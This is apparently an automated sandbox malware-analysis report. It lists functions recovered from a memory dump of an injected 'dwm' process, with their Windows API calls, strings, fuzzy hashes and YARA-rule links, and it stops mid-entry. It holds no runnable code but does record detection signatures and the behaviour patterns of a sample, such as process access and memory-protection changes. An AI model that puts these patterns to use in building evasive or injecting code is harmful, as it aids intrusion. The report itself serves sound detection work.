Function 000001160CA42F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001160CA42F27
HeapAlloc.KERNEL32 ref: 000001160CA42F3A
StrCmpNIW.SHLWAPI ref: 000001160CA42FAF
GetProcessHeap.KERNEL32 ref: 000001160CA43015
HeapFree.KERNEL32 ref: 000001160CA43023

Strings

dialer, xrefs: 000001160CA42FA8

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: f8b7d8bc0e6cc4d4fc354021b252be388e9e71aaaa705bef59079470030ccb79
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: A7318E32701B5182EA59DF16E5407E9A7A0FB88B85F488264BF4947B69EF36C4E18700

Function 000001160CA4CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001160CA4CFAF
FlsSetValue.KERNEL32(?,?,?,000001160CA4D6B5,?,?,?,?,000001160CA4D778), ref: 000001160CA4CFE5
FlsSetValue.KERNEL32(?,?,?,000001160CA4D6B5,?,?,?,?,000001160CA4D778), ref: 000001160CA4D012
FlsSetValue.KERNEL32(?,?,?,000001160CA4D6B5,?,?,?,?,000001160CA4D778), ref: 000001160CA4D023
FlsSetValue.KERNEL32(?,?,?,000001160CA4D6B5,?,?,?,?,000001160CA4D778), ref: 000001160CA4D034
SetLastError.KERNEL32 ref: 000001160CA4D04F

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 934748ede1297e97c92b6e1c0ca6694779cbb889be3b4c5dad1e80a11171dfc6
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: 08117C3070578086FA6CA775A9453ED62426BCC7F4F6447A4BF3A477EEDE2A84C29200

Function 000001160CA4199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000001160CA419C2
K32GetModuleFileNameExW.KERNEL32 ref: 000001160CA419E0
PathFindFileNameW.SHLWAPI ref: 000001160CA419EF
lstrlenW.KERNEL32 ref: 000001160CA419FB
StrCpyW.SHLWAPI ref: 000001160CA41A0E
CloseHandle.KERNEL32 ref: 000001160CA41A1C

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: e00dd36680488c5e306854b294cb669450076414ac262b156d1663c76e65602a
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: C0011731300B4482EA58DB52A8587D963A5F78CBC5F8880B5FF5943759DE3EC9C9C740

Function 000001160CA436C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001160CA436E4
GetCurrentProcess.KERNEL32 ref: 000001160CA436F2
VirtualProtectEx.KERNEL32 ref: 000001160CA43714
GetCurrentProcess.KERNEL32 ref: 000001160CA43732
VirtualProtectEx.KERNEL32 ref: 000001160CA43753
TerminateThread.KERNEL32 ref: 000001160CA43762

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: 0ffdca176683bdef783f6cc38966b29c572938d531d7664521ae4e1a6e9a6e3b
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: BB012175712B4086FF289B26F8087D563A0BB4DB86F448564EF4907769EF3EC1848700

Function 000001160CA48FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001160CA49013
_IsNonwritableInCurrentImage.LIBCMT ref: 000001160CA490A8
RtlUnwindEx.NTDLL ref: 000001160CA490F7

Strings

csm, xrefs: 000001160CA4908E
f, xrefs: 000001160CA49026

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction ID: 2a58f658a7c323e470c1cbcda14de2c9a5e7c4f84a17343fc423aba172ae85f9
Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction Fuzzy Hash: 9E516B32601700C6EB98DB29E848BDB6799F388B88F5085A4EF5A4774CDF76C991C700

Function 000001160CA41A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000001160CA41A60
StrCmpNIW.SHLWAPI ref: 000001160CA41A7A
lstrlenW.KERNEL32 ref: 000001160CA41A89
StrCpyW.SHLWAPI ref: 000001160CA41A9E

Strings

\\?\, xrefs: 000001160CA41A6E

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: c4f5a9f3bdec7750fb076a0b2b05ac044ba42cffe882208c901e174971607999
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 50F08732700B4482EB648B60E8843DA6360F78CBD8FC48060FF4946A58DE6EC6CDCB00

Function 000001160CA43044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000001160CA43066
StrCpyW.SHLWAPI ref: 000001160CA43076
StrCatW.SHLWAPI ref: 000001160CA43082
PathCombineW.SHLWAPI ref: 000001160CA43090

Strings

\\.\pipe\, xrefs: 000001160CA4305C

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 0f3f3d578e1d262db9181b57571857c6ede4d717d0689bd243bedd7d7285528d
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: A0F0F874714B8482EA588B53B9141D96661AB8CFE1F8891A0FF5A47B6CDE39C4C58700

Function 000001160CA4BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000001160CA4BCBD
GetProcAddress.KERNEL32 ref: 000001160CA4BCD3
FreeLibrary.KERNEL32 ref: 000001160CA4BCFA

Strings

CorExitProcess, xrefs: 000001160CA4BCCC
mscoree.dll, xrefs: 000001160CA4BCB4

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: df2875fcd967808f31e72bcdc182bb135dbcc85f3a08aea4505e896a4e7a5df2
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: D5F06271211B0482EB188B24E4443D96320EB8C765F948299FF6A466ECCF2EC4C4C350

Function 000001160CA45710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001160CA45726

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: d3b9a58ef7fdfc98620847497ecba833532ef1df5abfce1ac3323b88e95c3dec
Instruction ID: 8119352017edbc1e5719dbc53e8a196e932012c0c71d1048414cb63e1174155f
Opcode Fuzzy Hash: d3b9a58ef7fdfc98620847497ecba833532ef1df5abfce1ac3323b88e95c3dec
Instruction Fuzzy Hash: A7619336919B84C7E668CB59E44439AB7A0F3C8794F101565FB8E87BA8DF7AC584CB00

Function 000001160CA23504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001160CA2352C
_set_statfp.LIBCMT ref: 000001160CA23547
_set_statfp.LIBCMT ref: 000001160CA23563
_set_statfp.LIBCMT ref: 000001160CA2359F

Memory Dump Source

Source File: 00000029.00000002.3316783010.000001160CA10000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca10000_dwm.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: ae4265ce5c0676ba883c7b22a609b42a8570a1f5ed9511ce877b82ba92570392
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 12119132A52B3119FE6C152FE4713F911986B5F374F4886A9BF6A062FE8B6ECCC54100

Function 000001160CA54104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001160CA5412C
_set_statfp.LIBCMT ref: 000001160CA54147
_set_statfp.LIBCMT ref: 000001160CA54163
_set_statfp.LIBCMT ref: 000001160CA5419F

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: ef42898fac8a98cab7f086ce78a0d510597cafaa0c8b598dbdd279139ff587fd
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: AF118E32A10F5121FA6C1568E8563E951517BBC3F8F18C6A4BF76076EEDB3AC8C16300

Function 000001160CA1F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001160CA1F124

Strings

Wednesday, xrefs: 000001160CA1F1ED
Tuesday, xrefs: 000001160CA1F0F4
or copy constructor iterator', xrefs: 000001160CA1F25A, 000001160CA1F275

Memory Dump Source

Source File: 00000029.00000002.3316783010.000001160CA10000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca10000_dwm.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 9a27022134f32b508db895bcfc5403c81cf6062ac62a9a7620d1548aa33e9127
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 8961D4766003804AFB6D9BADED543EA66A1F78D7A0F544595FF0A077ACDB36C8C28300

Function 000001160CA4AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000001160CA4AA68
_CallSETranslator.LIBVCRUNTIME ref: 000001160CA4AAB7

Strings

RCC, xrefs: 000001160CA4AA85
MOC, xrefs: 000001160CA4AA7C

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: e3354e079389cbb30241819c4761e890b302f97d795682362dc84c150b4ac414
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: F0617A33600B888AEB28DFA5D4803DE77A1F388B88F144255EF4917B98DF39C995C700

Function 000001160CA1A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001160CA1A1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001160CA1A288

Strings

csm, xrefs: 000001160CA1A1C2
csm, xrefs: 000001160CA1A2DA

Memory Dump Source

Source File: 00000029.00000002.3316783010.000001160CA10000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca10000_dwm.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 06a049338c248f51f8c9c97d4eb35a22e841f0982a370ea3e2fdf550de1b86b9
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: D151AF36101780CAEB788F2995443D977A0F359B94F188296FF9987BD9CB3AD8D0E700

Function 000001160CA4AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001160CA4ADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001160CA4AE88

Strings

csm, xrefs: 000001160CA4AEDA
csm, xrefs: 000001160CA4ADC2

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 35391d31b81d5f61a23255a8fd09071de968050abfe3a1326edc1316720276b6
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: D0516D721407808AEB688F2595843D977A0F3D8B95F184196FF9947BD9CF39D8E1E700

Function 000001160CA18405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001160CA18413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001160CA184A8

Strings

f, xrefs: 000001160CA18426
csm, xrefs: 000001160CA1848E

Memory Dump Source

Source File: 00000029.00000002.3316783010.000001160CA10000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca10000_dwm.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: a9e0fbc99b9a415cec03e74d20746b53236eea80c30537c3395e2cfa74a3d68f
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 4051AB326017108AEB18CF1AE444BD937A6F358BA8F5281A4EF56437CCEB3ACCC18704

Function 000001160CA183E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001160CA18413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001160CA184A8

Strings

f, xrefs: 000001160CA18426
csm, xrefs: 000001160CA1848E

Memory Dump Source

Source File: 00000029.00000002.3316783010.000001160CA10000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca10000_dwm.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 729727e53eae1e8bd44e8f4d201b8e3c9a43c574c7127cdf072d2da5a2749f22
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 7C31783660175096EB28DF1AE844BD977A4F348BA8F168094FF5A07B8CDB3EC980C704

Function 000001160CA52058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000001160CA520D7
WriteFile.KERNEL32 ref: 000001160CA5239F
WriteFile.KERNEL32 ref: 000001160CA523E5
GetLastError.KERNEL32 ref: 000001160CA5249B

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 0ddae2fb394e34b4ed03104435e62fbe8555982c8233d8ecc83ccb222b4ea0b4
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: 09D1D072B14B8089E719CFA9D4403EC3BB2F3587A8F148256EF5A97B9DDA35C486C340

Function 000001160CA414A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001160CA414C5
HeapFree.KERNEL32 ref: 000001160CA414D4
GetProcessHeap.KERNEL32 ref: 000001160CA414E1
HeapFree.KERNEL32 ref: 000001160CA414F0
GetProcessHeap.KERNEL32 ref: 000001160CA41500

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction ID: 6d0378076b7982d1c701b62a4dd775f4e914c8d9fd3b021000850d241d3b97c1
Opcode Fuzzy Hash: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction Fuzzy Hash: BF012532600F90D6E708DB66A9041EAA7A0F78CB81F488425FF4A43B29DE39C0918740

Function 000001160CA52980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 000001160CA52A9C
GetLastError.KERNEL32 ref: 000001160CA52B27

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: f9049f7744cc93615ad294293448456b72a4b0d09a3d60613d8a1f5a951e7fca
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: E391B172B00B5485F7689F6594803ED3BA0B758B88F158289EF0A67A9DDB36C4C2C700

Function 000001160CA47960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000001160CA4798C
GetCurrentThreadId.KERNEL32 ref: 000001160CA4799A
GetCurrentProcessId.KERNEL32 ref: 000001160CA479A6
QueryPerformanceCounter.KERNEL32 ref: 000001160CA479B6

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: 260692fa5890f9ee189ddadb9940ce48c09cfbe46f610342d43073f99828b268
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: A6110332710F018AEB408BA4E8552E833A4F75D768F440E21EF6D867A8DF79C1A88380

Function 000001160CA4253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001160CA42620
StrCpyW.SHLWAPI ref: 000001160CA42639

Strings

\\.\pipe\, xrefs: 000001160CA4262B

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: e40e3e515670fa5c036b9549e8456ec2d64ca9ac62f7f35e16447ef1ac944d1b
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 1C718336210B8186EB6D9F25A8443EA6794F3CDB84F540266FF0953B9DDE7AC6C5C700

Function 000001160CA19E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000001160CA19EB7

Strings

MOC, xrefs: 000001160CA19E7C
RCC, xrefs: 000001160CA19E85

Memory Dump Source

Source File: 00000029.00000002.3316783010.000001160CA10000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca10000_dwm.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: ae634c326fb1dce6b42462149244c536c5474efda413bbb73b70680e0f2a7eb6
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 04616837A05B848AEB28DF69D4807DE7BB0F348B88F044255EF4917B99DB3AD595C700

Function 000001160CA42330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001160CA42416
StrCpyW.SHLWAPI ref: 000001160CA4242D

Strings

\\.\pipe\, xrefs: 000001160CA42421

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 6d429f5d1647d76f845eb996db918fbf57633ea236caee658ec63ebb5be9004c
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: 1851E17260478181E67C9E2AA4583FAA791F3CD780F9502A5FF5A03B9DDE3FC5848740

Function 000001160CA526F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000001160CA52807
GetLastError.KERNEL32 ref: 000001160CA52829

Strings

U, xrefs: 000001160CA527B3

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 525446532c4412418cfda6fa42ee0fc84d94dab09688a9bb065f4342fca980f3
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: 28419E72615B8096EB24CF65E8443EAA7A0F798794F908121FF4D87798EB3DC481C740

Function 000001160CA494A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000001160CA494F0
RaiseException.KERNEL32 ref: 000001160CA49531

Strings

csm, xrefs: 000001160CA4951E

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: 5b4e51e11a7731711d7dfdf6b9e165d949d84c0f652fb7667c5993548bddd47c
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: E6112B36214B8082EB658B25F44439A77E5F788B94F588260EF8C47B58DF3DC5A5CB00

Function 000001160CA17356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001160CA1737C

Strings

